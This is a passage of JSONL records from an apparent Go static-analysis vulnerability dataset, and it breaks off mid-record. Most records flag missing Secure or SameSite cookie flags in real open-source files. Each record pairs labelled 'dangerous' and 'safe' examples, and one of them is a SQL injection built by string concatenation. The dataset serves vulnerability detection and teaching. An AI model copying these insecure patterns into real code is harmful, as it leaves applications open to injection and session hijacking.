database is cleaned up\n\t\tvar count int\n\t\tif err := db.QueryRow(userDBCount).Scan(&count); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n}\n\nfunc createTestPgSQL(t *testing.T, testName string) (*pgSQL, func()) {\n\tconnection, cleanup := createAndConnectTestDB(t, testName)\n\terr := migrate.NewPostgresMigrator(connection).Exec(migrate.Up, migrations.Migrations...)\n\tif err != nil {\n\t\trequire.Nil(t, err, err.Error())\n\t}\n\n\treturn &pgSQL{connection, nil, Config{PaginationKey: pagination.Must(pagination.NewKey()).String()}}, cleanup\n}\n\nfunc createTestPgSQLWithFixtures(t *testing.T, testName string) (*pgSQL, func()) {\n\tconnection, cleanup := createTestPgSQL(t, testName)\n\tsession, err := connection.Begin()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer session.Rollback()\n\n\tloadFixtures(session.(*pgSession))\n\tif err = session.Commit(); err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn connection, cleanup\n}\n\nfunc createTestPgSession(t *testing.T, testName string) (*pgSession, func()) {\n\tconnection, cleanup := createTestPgSQL(t, testName)\n\tsession, err := connection.Begin()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn session.(*pgSession), func() {\n\t\tsession.Rollback()\n\t\tcleanup()\n\t}\n}\n\nfunc createTestPgSessionWithFixtures(t *testing.T, testName string) (*pgSession, func()) {\n\ttx, cleanup := createTestPgSession(t, testName)\n\tdefer func() {\n\t\t// ensure to cleanup when loadFixtures failed\n\t\tif r := recover(); r != nil {\n\t\t\tcleanup()\n\t\t}\n\t}()\n\n\tloadFixtures(tx)\n\treturn tx, cleanup\n}\n\nfunc loadFixtures(tx *pgSession) {\n\t_, filename, _, _ := runtime.Caller(0)\n\tfixturePath := filepath.Join(filepath.Dir(filename)) + \"/testdata/data.sql\"\n\td, err := ioutil.ReadFile(fixturePath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t_, err = tx.Exec(string(d))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc assertVulnerabilityWithAffectedEqual(t *testing.T, expected database.VulnerabilityWithAffected, actual database.VulnerabilityWithAffected) bool {\n\treturn assert.Equal(t, expected.Vulnerability, actual.Vulnerability) && assertAffectedFeaturesEqual(t, expected.Affected, actual.Affected)\n}\n\nfunc assertAffectedFeaturesEqual(t *testing.T, expected []database.AffectedFeature, actual []database.AffectedFeature) bool {\n\tif assert.Len(t, actual, len(expected)) {\n\t\thas := map[database.AffectedFeature]bool{}\n\t\tfor _, i := range expected {\n\t\t\thas[i] = false\n\t\t}\n\t\tfor _, i := range actual {\n\t\t\tif visited, ok := has[i]; !ok {\n\t\t\t\treturn false\n\t\t\t} else if visited {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\thas[i] = true\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc genRandomNamespaces(t *testing.T, count int) []database.Namespace {\n\tr := make([]database.Namespace, count)\n\tfor i := 0; i < count; i++ {\n\t\tr[i] = database.Namespace{\n\t\t\tName: fmt.Sprint(rand.Int()),\n\t\t\tVersionFormat: \"dpkg\",\n\t\t}\n\t}\n\treturn r\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 293, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 293, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 295, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "0920e3cc01d0dd3d4e62c31fe6aa88955890be9f7b9a2f30785ba33ccdcbd2c0", "license": {"spdx": ["Apache-2.0"], "repo": "asoorm/sessions", "path": "store/filesystem/store.go", "repo_head_hexsha": "9b87d5a817e27cd53d02ea97c30603626a9c579b", "stack_hexsha": "c46418a3a600cb5546dad5b9b249ccf501d3d0bf", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 52, "entireCode": "package filesystem\n\nimport (\n\t\"bytes\"\n\t\"github.com/plimble/sessions\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n)\n\nvar fileMutex sync.RWMutex\n\ntype FileSystemStore struct {\n\tpath string\n}\n\nfunc NewFileSystemStore(path string) *FileSystemStore {\n\tif path == \"\" {\n\t\tpath = os.TempDir()\n\t}\n\n\treturn &FileSystemStore{\n\t\tpath: path,\n\t}\n}\n\nfunc (s *FileSystemStore) Get(id string, buf *bytes.Buffer) error {\n\tfileMutex.RLock()\n\tdefer fileMutex.RUnlock()\n\n\tf, err := os.OpenFile(filepath.Join(s.path, \"session_\"+id), os.O_RDONLY, 0755)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = buf.ReadFrom(f)\n\n\treturn err\n}\n\nfunc (s *FileSystemStore) Delete(session *sessions.Session, w http.ResponseWriter) error {\n\tfileMutex.Lock()\n\tdefer fileMutex.Unlock()\n\n\tif err := os.Remove(filepath.Join(s.path, \"session_\"+id)); err != nil {\n\t\treturn err\n\t}\n\n\tsession.Options.MaxAge = -1\n\thttp.SetCookie(w, sessions.NewCookie(session.Name(), session.ID, session.Options))\n\treturn nil\n}\n\nfunc (s *FileSystemStore) Save(session *sessions.Session, buf *bytes.Buffer, w http.ResponseWriter) error {\n\tfileMutex.Lock()\n\tdefer fileMutex.Unlock()\n\n\tf, err := os.OpenFile(filepath.Join(s.path, \"session_\"+session.ID), os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0755)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(f, buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thttp.SetCookie(w, sessions.NewCookie(session.Name(), session.ID, session.Options))\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 52, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "616276189ad261c834360783a6cbddf5f9d893202a9ef8cf9af6b7572dfc9c8b", "license": {"spdx": ["MIT"], "repo": "lamnhh/qoj", "path": "server/src/auth/route.go", "repo_head_hexsha": "7f00a93b949528e080065e9456165df610457383", "stack_hexsha": "1c0714c8b8ee2f55141480c66d1d131388d75b92", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 36, "entireCode": "package auth\n\nimport (\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/lib/pq\"\n\t\"net/http\"\n\t\"qoj/server/src/token\"\n\tuser2 \"qoj/server/src/user\"\n\t\"time\"\n)\n\nfunc postRegister(ctx *gin.Context) {\n\tvar user user2.User\n\n\t// If request body is not a JSON, return a 400.\n\tif err := ctx.ShouldBindJSON(&user); err != nil {\n\t\tctx.JSON(http.StatusBadRequest, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\t// If some error occurs during user creation, return it back to user with a 500.\n\tif err := user2.CreateNewUser(user); err != nil {\n\t\tpqErr, ok := err.(*pq.Error)\n\t\tif ok {\n\t\t\t// If err is an instance of pq.Error, it means the RAISE line in function create_user() has been called\n\t\t\t// Which, means that user.Username has been used before. In this case, return a 400.\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"error\": pqErr.Hint})\n\t\t} else {\n\t\t\t// Otherwise, return a 500\n\t\t\tctx.JSON(http.StatusInternalServerError, gin.H{\"error\": err.Error()})\n\t\t}\n\t\treturn\n\t}\n\n\t// Set refresh token in cookie\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: \"rftoken\",\n\t\tValue: token.CreateRefreshToken(user.Username),\n\t\tHttpOnly: true,\n\t})\n\n\t// Send access token back to user\n\tctx.JSON(http.StatusOK, gin.H{\n\t\t\"accessToken\": token.CreateAccessToken(user.Username),\n\t})\n}\n\nfunc postLogin(ctx *gin.Context) {\n\tvar userLogin user2.LoginAuth\n\n\t// If request body is not a JSON, return a 400.\n\tif err := ctx.ShouldBindJSON(&userLogin); err != nil {\n\t\tctx.JSON(http.StatusBadRequest, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\t// Find user with username `userLogin.Username`\n\tuser, code, err := user2.Login(userLogin.Username, userLogin.Password)\n\tif err != nil {\n\t\tctx.JSON(code, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\t// Set refresh token in cookie\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: \"rftoken\",\n\t\tValue: token.CreateRefreshToken(user.Username),\n\t\tHttpOnly: true,\n\t})\n\n\t// Return (username, fullname)\n\tctx.JSON(http.StatusOK, gin.H{\n\t\t\"accessToken\": token.CreateAccessToken(user.Username),\n\t})\n}\n\nfunc getRefresh(ctx *gin.Context) {\n\t// Get cookie `rftoken`\n\tcookie, err := ctx.Cookie(\"rftoken\")\n\tif err != nil {\n\t\t// No cookie `rftoken`, return a 401\n\t\tctx.JSON(http.StatusUnauthorized, gin.H{\"error\": \"Refresh token required\"})\n\t\treturn\n\t}\n\n\t// Decode the cookie above for `username`\n\tusername, err := token.DecodeRefreshToken(cookie)\n\tif err != nil {\n\t\t// Cannot decode JWT, or JWT is expired, return 401\n\t\tctx.JSON(http.StatusUnauthorized, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\t// Set new refresh token in cookie\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: \"rftoken\",\n\t\tValue: token.CreateRefreshToken(username),\n\t\tHttpOnly: true,\n\t})\n\n\t// Send access token back to user\n\tctx.JSON(http.StatusOK, gin.H{\n\t\t\"accessToken\": token.CreateAccessToken(username),\n\t})\n}\n\nfunc getLogout(ctx *gin.Context) {\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: \"rftoken\",\n\t\tValue: \"\",\n\t\tHttpOnly: true,\n\t\tExpires: time.Now().Add(-time.Hour),\n\t})\n\tctx.JSON(http.StatusOK, gin.H{})\n}\n\nfunc InitialiseRoutes(app *gin.RouterGroup) {\n\tapp.POST(\"/register\", postRegister)\n\tapp.POST(\"/login\", postLogin)\n\tapp.GET(\"/refresh\", getRefresh)\n\tapp.GET(\"/logout\", getLogout)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "98a8231915ee66e172ff00c41bd9b74ad12d522897ea3010c23421dc4a796f90", "license": {"spdx": ["MIT"], "repo": "Hevi-Ye/route", "path": "context/context.go", "repo_head_hexsha": "685bba02f39bae598ab50195500754d43cc624f3", "stack_hexsha": "c2e385b0b512264a5a67dd591fee2641482c81dd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 64, "entireCode": "/**\n * Creator: hevi\n * Time: 2018/12/3 09:25\n * Description: http 请求上下文\n */\n\npackage context\n\nimport (\n\t\"encoding/json\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"net/http\"\n\t\"sync\"\n)\n\ntype Context struct {\n\tsync.RWMutex\n\n\tr *http.Request\n\tw http.ResponseWriter\n\n\titems map[string]interface{}\n\n\tprintLog func(string)\n}\n\nfunc NewContext(w http.ResponseWriter, r *http.Request) *Context {\n\treturn &Context{\n\t\tw: w,\n\t\tr: r,\n\t\titems: make(map[string]interface{}),\n\t}\n}\n\nfunc (c *Context) Write(b []byte) (int, error) {\n\treturn c.w.Write(b)\n}\n\nfunc (c *Context) WriteHeader(statusCode int) {\n\tc.w.WriteHeader(statusCode)\n}\n\nfunc (c *Context) Header() http.Header {\n\treturn c.w.Header()\n}\n\nfunc (c *Context) SetPrintLogFunc(fn func(string)) {\n\tc.printLog = fn\n}\n\nfunc (c *Context) Request() *http.Request {\n\treturn c.r\n}\n\nfunc (c *Context) RemoteAddr() string {\n\treturn c.r.RemoteAddr\n}\n\nfunc (c *Context) GetCookie(name string) (*http.Cookie, error) {\n\treturn c.r.Cookie(name)\n}\n\nfunc (c *Context) SetCookie(cooke *http.Cookie) {\n\thttp.SetCookie(c.w, cooke)\n}\n\n// 获取参与的值\n// GET、POST、PUT、DELETE都可以通过该函数获取\nfunc (c *Context) Query(param string) string {\n\treturn c.r.Form.Get(param)\n}\n\n// 增加用户自定义的值\nfunc (c *Context) Add(key string, value interface{}) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tc.items[key] = value\n}\n\n// 用户自定义的值是否存在\nfunc (c *Context) IsExists(key string) bool {\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\t_, ok := c.items[key]\n\n\treturn ok\n}\n\n// 获取用户自定义的值\nfunc (c *Context) Get(key string) interface{} {\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\treturn c.items[key]\n}\n\n// 删除用户自定义的值\nfunc (c *Context) Del(key string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tif _, ok := c.items[key]; ok {\n\t\tdelete(c.items, key)\n\t}\n}\n\nfunc (c *Context) log(content string) {\n\tif c.printLog == nil {\n\t\treturn\n\t}\n\n\tc.printLog(content)\n}\n\n// 写入PROTOBUF格式的数据\nfunc (c *Context) WritePB(pb proto.Message) (int, error) {\n\tbuf, err := proto.Marshal(pb)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tc.log(string(buf))\n\n\treturn c.w.Write(buf)\n}\n\n// 写入JSON格式的数据\nfunc (c *Context) WriteJson(data interface{}) (int, error) {\n\tbuf, err := json.Marshal(data)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tc.log(string(buf))\n\n\treturn c.w.Write(buf)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 64, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "986fcf14f430902dc9369a944451a0e2690a4ae5bce9f20028f499a88dfa2ec1", "license": {"spdx": ["MIT"], "repo": "lifei6671/gosession", "path": "session.go", "repo_head_hexsha": "3219a86b6e723c17b82e2b5669255be133f7e94c", "stack_hexsha": "3a1f8f3ecccf0187951bda7ec1837506ef371947", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 144, "entireCode": "package gosession\n\nimport (\n\t\"strings\"\n\t\"errors\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\t\"log\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"crypto/rand\"\n\tmathRand \"math/rand\"\n)\n\nvar(\n\tErrSessionValueNotExist = errors.New(\"value does not exist\")\n)\n\nvar provides = make(map[string]SessionProvider)\n\ntype SessionProvider interface {\n\tSessionInit(maxLifetime int64, savePath string) error\n\tOpen(sessionId string) (SessionHandler, error)\n\tDestroy(sessionId string) error\n\tGC()\n}\n\ntype SessionHandler interface {\n\tAdd(key string, value interface{}) error //添加一个Session值,如果已存在则覆盖\n\tGet(key string) (interface{}, error) //获取一个Session值\n\tRemove(key string) error //移除一个Session\n\tSessionId() string //获取当前SessionId\n\tClear() //清空所有值\n}\n\nfunc NewSessionId() string {\n\tb := make([]byte, 256)\n\n\t//如果使用真随机生成失败,则转换为伪随机\n\tif _, err := rand.Read(b); err != nil {\n\t\tbytes := []byte(\"0123456789abcdefghijklmnopqrstuvwxyz`!@#$%^&*()_+=:'/?.>,<\")\n\n\t\tr := mathRand.New(mathRand.NewSource(time.Now().UnixNano()))\n\t\tfor i := 0 ;i < 256 ;i++ {\n\t\t\tb[i] = bytes[r.Intn(len(bytes))]\n\t\t}\n\t}\n\n\thash := sha256.New()\n\thash.Write(b)\n\tmd := hash.Sum(nil)\n\treturn hex.EncodeToString(md)\n}\n\nfunc Register(providerName string, provider SessionProvider) {\n\tif provider == nil {\n\t\tpanic(\"session provider cannot be nil\")\n\t}\n\tif _, dup := provides[providerName]; dup {\n\t\tpanic(\"session provider already exists: \" + providerName)\n\t}\n\tprovides[providerName] = provider\n}\n\ntype SessionConfig struct {\n\tCookieName string `json:\"cookieName\"`\n\tEnableSetCookie bool `json:\"enableSetCookie,omitempty\"`\n\tGclifetime int64 `json:\"gclifetime\"`\n\tMaxlifetime int64 `json:\"maxLifetime\"`\n\tSecure bool `json:\"secure\"`\n\tCookieLifeTime int `json:\"cookieLifeTime\"`\n\tProviderConfig string `json:\"providerConfig\"`\n\tDomain string `json:\"domain\"`\n}\n\ntype SessionManager struct {\n\tprovider SessionProvider\n\tconfig *SessionConfig\n}\n\nfunc NewSessionManager(providerName string, config SessionConfig) (*SessionManager, error) {\n\tprovider, ok := provides[providerName]\n\tif ok == false {\n\t\treturn nil, errors.New(\"Session 提供程序未找到\")\n\t}\n\tif (config.Maxlifetime == 0) {\n\t\tconfig.Maxlifetime = config.Gclifetime\n\t}\n\n\terr := provider.SessionInit(config.Maxlifetime, config.ProviderConfig)\n\tif (err != nil) {\n\t\treturn nil, err\n\t}\n\treturn &SessionManager{\n\t\tprovider: provider,\n\t\tconfig: &config,\n\t}, nil\n}\n\n//获取当前请求的SessionId\nfunc (manager *SessionManager) getSessionId(r *http.Request) (string, error) {\n\tcookie, err := r.Cookie(manager.config.CookieName)\n\tif err == nil && cookie.Value != \"\" && cookie.MaxAge >= 0 {\n\n\t\treturn cookie.Value, nil\n\t} else if strings.EqualFold(r.Method, \"POST\") {\n\t\terr := r.ParseForm()\n\t\tif (err != nil) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tsid := r.FormValue(manager.config.CookieName)\n\t\treturn sid, nil\n\t} else if (cookie != nil) {\n\t\t//支持URL传递SessionId\n\t\treturn url.QueryUnescape(cookie.Value)\n\t}\n\treturn \"\", nil\n}\n\nfunc (manager *SessionManager) SessionStart(w http.ResponseWriter, r *http.Request) (SessionHandler, error) {\n\n\tsessionId, err := manager.getSessionId(r)\n\tlog.Print(\"SessionStart\", sessionId)\n\n\tif (err != nil) {\n\t\treturn nil, err\n\t}\n\tif (sessionId == \"\") {\n\t\tsessionId = NewSessionId()\n\t\tcookie := &http.Cookie{\n\t\t\tName: manager.config.CookieName,\n\t\t\tValue: url.QueryEscape(sessionId),\n\t\t\tPath: \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tSecure: manager.isSecure(r),\n\t\t\tDomain: manager.config.Domain,\n\t\t}\n\t\tif manager.config.CookieLifeTime > 0 {\n\t\t\tcookie.MaxAge = manager.config.CookieLifeTime\n\t\t\tcookie.Expires = time.Now().Add(time.Duration(manager.config.CookieLifeTime) * time.Second)\n\t\t}\n\t\tif manager.config.EnableSetCookie {\n\t\t\thttp.SetCookie(w, cookie)\n\t\t}\n\t\tr.AddCookie(cookie)\n\t}\n\n\treturn manager.provider.Open(sessionId)\n}\n\nfunc (manager *SessionManager) SessionDestroy(w http.ResponseWriter, r *http.Request) {\n\tcookie, err := r.Cookie(manager.config.CookieName)\n\tif err != nil || cookie.Value == \"\" {\n\t\treturn\n\t}\n\n\tsid, _ := url.QueryUnescape(cookie.Value)\n\tmanager.provider.Destroy(sid)\n\tif manager.config.EnableSetCookie {\n\t\texpiration := time.Now()\n\t\tcookie = &http.Cookie{Name: manager.config.CookieName,\n\t\t\tPath: \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tExpires: expiration,\n\t\t\tMaxAge: -1}\n\n\t\thttp.SetCookie(w, cookie)\n\t}\n}\n\nfunc (manager *SessionManager) GetSessionHandler(sessionId string) (SessionHandler, error) {\n\treturn manager.provider.Open(sessionId)\n}\n\nfunc (manager *SessionManager) GC() {\n\tmanager.provider.GC()\n\ttime.AfterFunc(time.Duration(manager.config.Gclifetime)*time.Second, func() {\n\t\tmanager.GC()\n\t})\n}\n\n// Set cookie with https.\nfunc (manager *SessionManager) isSecure(req *http.Request) bool {\n\tif !manager.config.Secure {\n\t\treturn false\n\t}\n\tif req.URL.Scheme != \"\" {\n\t\treturn strings.EqualFold(req.URL.Scheme, \"https\")\n\t}\n\tif req.TLS == nil {\n\t\treturn false\n\t}\n\treturn true\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 144, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "88b47dccb84e6169c70774a168b325271a819c1a72780d9b1364524e8e57189a", "license": {"spdx": ["Apache-2.0"], "repo": "rayjlinden/auth", "path": "login.go", "repo_head_hexsha": "85b6daeadffafee5273e84ebdf11554981e8add2", "stack_hexsha": "e9062a517cffd4c41e00afdc550ca45c5e61fce5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 137, "entireCode": "// Copyright 2018 The Moov Authors\n// 